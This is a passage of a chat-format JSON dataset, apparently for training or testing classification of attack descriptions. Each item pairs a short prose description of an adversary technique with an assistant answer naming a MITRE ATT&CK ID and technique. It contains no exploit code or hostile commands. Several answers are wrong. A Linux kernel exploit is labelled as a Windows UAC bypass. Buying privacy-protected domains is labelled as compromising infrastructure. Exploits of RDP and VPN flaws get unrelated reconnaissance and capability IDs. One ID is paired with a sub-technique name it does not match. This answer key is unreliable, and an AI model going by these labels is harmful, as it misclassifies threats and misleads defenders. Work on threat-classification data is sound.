                "content": "A post‑exploitation tool issues the SATA secure erase command to completely erase the SSD's contents after data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During infection, the malware installs a backdoored print processor that is invoked by the spooler service whenever a print job is queued, ensuring persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the device’s pre‑OS environment by injecting a custom boot script via ROMMON, bypassing standard security controls."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the operator extracts saved Windows credentials from the Credential Manager database."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries installed TeamViewer on compromised hosts to maintain persistent remote control."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider creates a hidden SQL stored procedure that calls the xp_cmdshell function to launch system utilities on the server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses an exploit developed for a specific version of software and modifies it to work against other versions, allowing for broader privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1587 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware payload enumerates the instance metadata endpoint to harvest cloud credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a known vulnerability in a remote desktop service, the threat actor gains access to stored credentials on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious user scripts the creation of an OpenStack Nova instance using leaked admin passwords."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set leverages a container image with embedded scripts to achieve lateral movement across containerized workloads."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code stages data on the local machine before using a PowerShell script to push it to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component communicates with its C2 server by replicating the structure and timing of standard NTP packets."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers placed a fake \"authenticator.exe\" in the user’s local app data folder, using a name commonly seen in legitimate authentication tools to conceal its malicious intent."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses a previously captured web session cookie to bypass multi-factor authentication checks."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through exploitation of a privileged account, the threat actor gains ROMMON access and installs a backdoored boot loader that runs before the OS."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary acquired a series of domain names through a privacy‑protected registration service to hide their identity."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit kit on a compromised e‑commerce site uses a drive‑by technique to install cryptocurrency‑mining malware on visiting browsers."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware converts stolen files into a custom printable ASCII format that replaces each byte with a three‑character token."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a misconfigured firewall to conduct a slowloris attack, keeping connections open and exhausting the web server's thread pool."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach includes editing the Group Policy to enable remote desktop for all users."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested stored login credentials from the victim's Chrome profile by reading the SQLite database where passwords are saved."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit attempts to detect sandboxing by measuring input latency; unusually low latency triggers a self‑destruct routine."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor compromises a third‑party microcontroller vendor and injects a backdoor into the chips used in critical infrastructure devices."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary issues a `podman exec` command to run a script inside a container that harvests credentials."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a kernel driver vulnerability to gain elevated privileges on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Component Object Model, the malicious program conducts IPC to coordinate actions between a service and a desktop application."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compressed a trojanized .exe into a .zip archive named \"invoice.zip\" and then renamed the inner file to \"invoice.pdf\" to evade antivirus scanning."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program purges its own installer and any created files from the host to eliminate traces."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor stages encrypted documents on a remote Amazon EC2 instance."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker obtains valid credentials from a partner organization and uses them to log into the target's internal systems, leveraging the existing trust relationship."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor employed a custom script to pull a credential dumping tool from an external HTTP server onto the compromised endpoint."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A state‑sponsored group purchased encrypted command‑and‑control binaries from a black‑market vendor."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a malicious Word template (.dot) containing a macro that executes automatically whenever Microsoft Word starts, enabling persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a malicious plugin update to inject HTML that displays a defacement banner on the e‑commerce checkout page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload invokes the 'time' function in kernel32.dll to obtain the current system time for timestamping its own files."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware starts a fake PowerShell instance with arguments that resemble a system update, tricking defenders into overlooking its real payload."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated attack chain included regsvr32 to download and run a malicious scriptlet from an external URL, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uninstalls security monitoring agents and deletes their configuration files, stopping any future indicator reporting."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script disables the Windows Event Collector (WEC) and removes its configuration files."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes \"lspci -v\" on Linux to list PCI device drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operation includes a command that overwrites network shares with null bytes, effectively destroying stored data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised certificate authority to issue a fraudulent trust provider certificate, allowing malicious software to appear signed."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Inter‑Process Communication (XPC) to stealthily coordinate actions between a launch daemon and a GUI app."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After enumerating vulnerable hosts, the adversary exploited WinRM to perform lateral movement by running remote WMI queries."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to perform a bulk export of email archives via the Exchange Admin Center."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits the PubPrn component by placing a malicious script in the Windows print spooler to run code with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses ECS (Amazon Elastic Container Service) scheduled task to run a Docker container that encrypts files on the host."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool performs DLL injection via the AppInit_DLLs registry key to load its library on system startup."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a privileged tool to edit the boot configuration, ensuring the computer boots into Safe Mode and bypasses standard defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exfiltrates data via SMTP by sending multiple emails, each attachment staying below the 25 MB limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module was used to pull the NTDS.dit database from memory and parse out credential data."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload resolves its C2 endpoint via a DNS name that leverages fast‑flux, causing the resolver to return multiple, short‑lived IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvested authentication certificates from the Windows Certificate Store to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted email with an attached .pptx file titled \"Company_Strategy.pptx\" contained a malicious macro that exfiltrated sensitive data upon opening."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the ACL of a legitimate installer executable on a Windows system to grant write permissions, then swaps the installer with a malicious version that runs with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups embed a PowerShell payload within a valid image file’s EXIF data, leveraging the image viewer’s processing to execute the hidden code."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker disables the firewall service to open network ports."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script configures the system's HTTP proxy to an internal malicious server to funnel all outbound requests through the attacker."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes a Python script to enumerate and extract information from cloud service APIs."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell to download and execute a payload from a remote repository onto the target system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs the \"systeminfo\" command and parses the output to gather information about installed software components on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker persuades a victim to enable macros in a Word document, which then runs a script to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits a zero‑day vulnerability in Gatekeeper's path validation to run unsigned code."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses Windows Script Host to execute a Visual Basic script that changes file permissions on critical system files."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed covert instructions within SCTP INIT chunks to control compromised servers without triggering typical network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a compromised virtual private server to run a SOCKS proxy for anonymized traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the 'net user' command to enumerate local user accounts and their attributes."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages WHOIS services to gather domain creation and modification timestamps for profiling the victim."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals took advantage of a vulnerable VPN service to execute arbitrary code and retrieve a stolen encryption key."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macro was delivered as a stripped payload, with all comments and metadata removed to avoid sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker inserts a line into /etc/cron.d/ to periodically exfiltrate data to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion campaign uses PowerShell to search for GPP files with cpassword entries to collect unsecured credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan modifies registry keys to turn off the System Restore feature and wipes existing restore snapshots."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured S3 bucket policy to assume a higher‑privileged role via the AssumeRoleWithWebIdentity call."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker’s code looks for recent user logon events and terminates if it cannot find evidence of a real user session."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
